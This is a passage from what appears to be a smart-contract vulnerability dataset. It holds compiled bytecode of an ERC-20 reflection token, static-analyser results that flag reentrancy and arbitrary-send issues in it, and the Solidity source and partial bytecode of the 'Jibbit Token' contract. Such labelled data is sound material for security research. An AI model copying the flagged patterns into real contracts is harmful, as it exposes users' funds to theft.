4906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6007600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c228f1ffdff2bc27699b622203816ea1e6c5dc5e7fb9dd58ba5fc8a6c5623b0164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,116
0x4789dd7face0194d5f49fb38cd122ad062620fc8
pragma solidity 0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns(uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns(uint256) { return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Interface { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Transfer(address indexed _from, address indexed _to, uint256 _value); } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } /** * @title Basic token */ contract JIB is ERC20Interface { using SafeMath for uint256; uint256 constant public TOKEN_DECIMALS = 10 ** 18; string public constant name = "Jibbit Token"; string public constant symbol = "JIB"; uint256 public totalTokenSupply = 700000000 * TOKEN_DECIMALS; uint8 public constant decimals = 18; address public owner; uint256 public totalBurned; bool stopped = false; bool saleClosed = false; event Burn(address indexed _burner, uint256 _value); event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); event OwnershipRenounced(address indexed _previousOwner); /** mappings **/ mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) internal allowed; mapping(address => bool) public allowedAddresses; /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** constructor **/ constructor() public { owner = msg.sender; balances[owner] = totalTokenSupply; allowedAddresses[owner] = true; emit Transfer(address(0x0), owner, balances[owner]); } /** * @dev This function has to be triggered once after ICO sale is completed */ function saleCompleted() external onlyOwner { saleClosed = true; } /** * @dev To pause token transfer. In general pauseTransfer can be triggered * only on some specific error conditions */ function pauseTransfer() external onlyOwner { stopped = true; } /** * @dev To resume token transfer */ function resumeTransfer() external onlyOwner { stopped = false; } /** * @dev To add address into whitelist */ function addToWhitelist(address _newAddr) public onlyOwner { allowedAddresses[_newAddr] = true; } /** * @dev To remove address from whitelist */ function removeFromWhitelist(address _newAddr) public onlyOwner { allowedAddresses[_newAddr] = false; } /** * @dev To check whether address is whitelist or not */ function isWhitelisted(address _addr) public view returns (bool) { return allowedAddresses[_addr]; } /** * @dev Burn specified number of GSCP tokens * This function will be called once after all remaining tokens are transferred from * smartcontract to owner wallet */ function burn(uint256 _value) onlyOwner public returns (bool) { require(!stopped); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalTokenSupply = totalTokenSupply.sub(_value); totalBurned = totalBurned.add(_value); emit Burn(burner, _value); emit Transfer(burner, address(0x0), _value); return true; } /** * @dev total number of tokens in existence * @return An uint256 representing the total number of tokens in existence */ function totalSupply() public view returns(uint256 _totalSupply) { _totalSupply = totalTokenSupply; return _totalSupply; } /** * @dev Gets the balance of the specified address * @param _owner The address to query the the balance of * @return An uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!stopped); if(!saleClosed && !isWhitelisted(msg.sender)) return false; if (_value == 0) { emit Transfer(_from, _to, _value); // Follow the spec to launch the event when value is equal to 0 return true; } require(_to != address(0x0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value >= 0); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds * @param _tokens The amount of tokens to be spent */ function approve(address _spender, uint256 _tokens) public returns(bool) { require(!stopped); require(_spender != address(0x0)); allowed[msg.sender][_spender] = _tokens; emit Approval(msg.sender, _spender, _tokens); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds * @return A uint256 specifing the amount of tokens still avaible for the spender */ function allowance(address _owner, address _spender) public view returns(uint256) { require(!stopped); require(_owner != address(0x0) && _spender != address(0x0)); return allowed[_owner][_spender]; } /** * @dev transfer token for a specified address * @param _address The address to transfer to * @param _tokens The amount to be transferred */ function transfer(address _address, uint256 _tokens) public returns(bool) { require(!stopped); if(!saleClosed && !isWhitelisted(msg.sender)) return false; if (_tokens == 0) { emit Transfer(msg.sender, _address, _tokens); // Follow the spec to launch the event when tokens are equal to 0 return true; } require(_address != address(0x0)); require(balances[msg.sender] >= _tokens); balances[msg.sender] = (balances[msg.sender]).sub(_tokens); balances[_address] = (balances[_address]).add(_tokens); emit Transfer(msg.sender, _address, _tokens); return true; } /** * @dev transfer ownership of this contract, only by owner * @param _newOwner The address of the new owner to transfer ownership */ function transferOwnership(address _newOwner)public onlyOwner { require(!stopped); require( _newOwner != address(0x0)); balances[_newOwner] = (balances[_newOwner]).add(balances[owner]); balances[owner] = 0; owner = _newOwner; emit Transfer(msg.sender, _newOwner, balances[_newOwner]); } /** * @dev Allows the current owner to relinquish control of the contract * @notice Renouncing to ownership will leave the contract without an owner * It will not be possible to call the functions with the `onlyOwner` * modifier anymore */ function renounceOwnership() public onlyOwner { require(!stopped); owner = address(0x0); emit OwnershipRenounced(owner); } /** * @dev Increase the amount of tokens that an owner allowed to a spender */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) { require(!stopped); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; require(!stopped); if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(!stopped); tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * @dev To transfer back any accidental ERC20 tokens sent to this contract by owner */ function transferAnyERC20Token(address _tokenAddress, uint256 _tokens) onlyOwner public returns (bool success) { require(!stopped); return ERC20Interface(_tokenAddress).transfer(owner, _tokens); } /* This unnamed function is called whenever someone tries to send ether to it */ function () public payable { revert(); } }
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461016f578063095ea7b3146101ff57806318160ddd146102645780631ca8b6cb1461028f57806323b872dd146102ba57806327e235e31461033f578063313ce567146103965780633af32abf146103c75780634120657a1461042257806342966c681461047d5780634c833532146104c25780635b7f415c146104d9578063661884631461050457806370a0823114610569578063715018a6146105c057806378261878146105d75780638ab1d681146105ee5780638da5cb5b1461063157806390a701391461068857806395d89b411461069f578063a9059cbb1461072f578063cae9ca5114610794578063d73dd6231461083f578063d89135cd146108a4578063dc39d06d146108cf578063dd62ed3e14610934578063e43252d7146109ab578063f2fde38b146109ee575b600080fd5b34801561017b57600080fd5b50610184610a31565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c45780820151818401526020810190506101a9565b50505050905090810190601f1680156101f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020b57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a6a565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610bb4565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610bc0565b6040518082815260200191505060405180910390f35b3480156102c657600080fd5b50610325600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc6565b604051808215151515815260200191505060405180910390f35b34801561034b57600080fd5b50610380600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611055565b6040518082815260200191505060405180910390f35b3480156103a257600080fd5b506103ab61106d565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103d357600080fd5b50610408600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611072565b604051808215151515815260200191505060405180910390f35b34801561042e57600080fd5b50610463600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110c8565b604051808215151515815260200191505060405180910390f35b34801561048957600080fd5b506104a8600480360381019080803590602001909291905050506110e8565b604051808215151515815260200191505060405180910390f35b3480156104ce57600080fd5b506104d761133d565b005b3480156104e557600080fd5b506104ee6113b6565b6040518082815260200191505060405180910390f35b34801561051057600080fd5b5061054f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c2565b604051808215151515815260200191505060405180910390f35b34801561057557600080fd5b506105aa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061166f565b6040518082815260200191505060405180910390f35b3480156105cc57600080fd5b506105d56116b8565b005b3480156105e357600080fd5b506105ec6117d9565b005b3480156105fa57600080fd5b5061062f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611852565b005b34801561063d57600080fd5b50610646611909565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561069457600080fd5b5061069d61192f565b005b3480156106ab57600080fd5b506106b46119a8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f45780820151818401526020810190506106d9565b50505050905090810190601f1680156107215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561073b57600080fd5b5061077a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119e1565b604051808215151515815260200191505060405180910390f35b3480156107a057600080fd5b50610825600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611ccb565b604051808215151515815260200191505060405180910390f35b34801561084b57600080fd5b5061088a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e6a565b604051808215151515815260200191505060405180910390f35b3480156108b057600080fd5b506108b9612082565b6040518082815260200191505060405180910390f35b3480156108db57600080fd5b5061091a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612088565b604051808215151515815260200191505060405180910390f35b34801561094057600080fd5b50610995600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061220a565b6040518082815260200191505060405180910390f35b3480156109b757600080fd5b506109ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612322565b005b3480156109fa57600080fd5b50610a2f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123d9565b005b6040805190810160405280600c81526020017f4a696262697420546f6b656e000000000000000000000000000000000000000081525081565b6000600360009054906101000a900460ff16151515610a8857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ac457600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008054905080905090565b60005481565b6000600360009054906101000a900460ff16151515610be457600080fd5b600360019054906101000a900460ff16158015610c075750610c0533611072565b155b15610c15576000905061104e565b6000821415610c8c578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061104e565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cc857600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610d93575081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610da0575060008210155b1515610dab57600080fd5b610dfd82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d290919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ecf82600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d290919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fa182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126eb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffff